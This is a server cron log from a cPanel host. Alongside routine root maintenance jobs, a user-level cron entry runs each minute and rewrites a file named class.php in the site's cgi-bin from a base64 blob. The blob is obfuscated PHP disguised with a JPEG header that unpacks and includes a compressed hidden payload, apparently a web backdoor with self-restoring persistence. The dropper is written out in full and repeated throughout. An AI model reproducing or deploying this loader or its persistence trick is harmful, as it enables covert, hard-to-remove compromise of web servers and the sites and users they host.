Sep 12 09:17:01 server CROND[19826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:18:01 server CROND[20340]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:18:01 server CROND[20341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:18:01 server CROND[20342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:19:01 server CROND[20727]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:19:01 server CROND[20728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:19:01 server CROND[20729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:20:01 server CROND[21163]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 09:20:01 server CROND[21165]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 09:20:01 server CROND[21166]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 09:20:01 server CROND[21167]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:20:01 server CROND[21171]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 09:20:01 server CROND[21172]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 09:20:01 server CROND[21168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:20:01 server CROND[21169]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:20:01 server CROND[21170]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 09:21:01 server CROND[22114]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:21:01 server CROND[22115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:21:01 server CROND[22116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:22:01 server CROND[22497]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:22:01 server CROND[22498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:22:01 server CROND[22499]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:23:01 server CROND[23150]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:23:01 server CROND[23151]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:23:01 server CROND[23152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:24:01 server CROND[23535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:24:01 server CROND[23536]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:24:01 server CROND[23537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:25:01 server CROND[23920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:25:01 server CROND[23922]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:25:01 server CROND[23923]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 09:25:01 server CROND[23924]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 09:25:01 server CROND[23927]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:25:01 server CROND[23925]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 09:25:01 server CROND[23926]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 09:26:01 server CROND[24742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:26:01 server CROND[24743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:26:01 server CROND[24744]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:27:01 server CROND[25139]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:27:01 server CROND[25141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:27:01 server CROND[25140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:27:01 server CROND[25142]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 09:28:01 server CROND[25624]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:28:01 server CROND[25625]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:28:01 server CROND[25626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:29:01 server CROND[26006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:29:01 server CROND[26007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:29:01 server CROND[26008]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:30:01 server CROND[26394]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 09:30:01 server CROND[26395]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 09:30:01 server CROND[26406]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
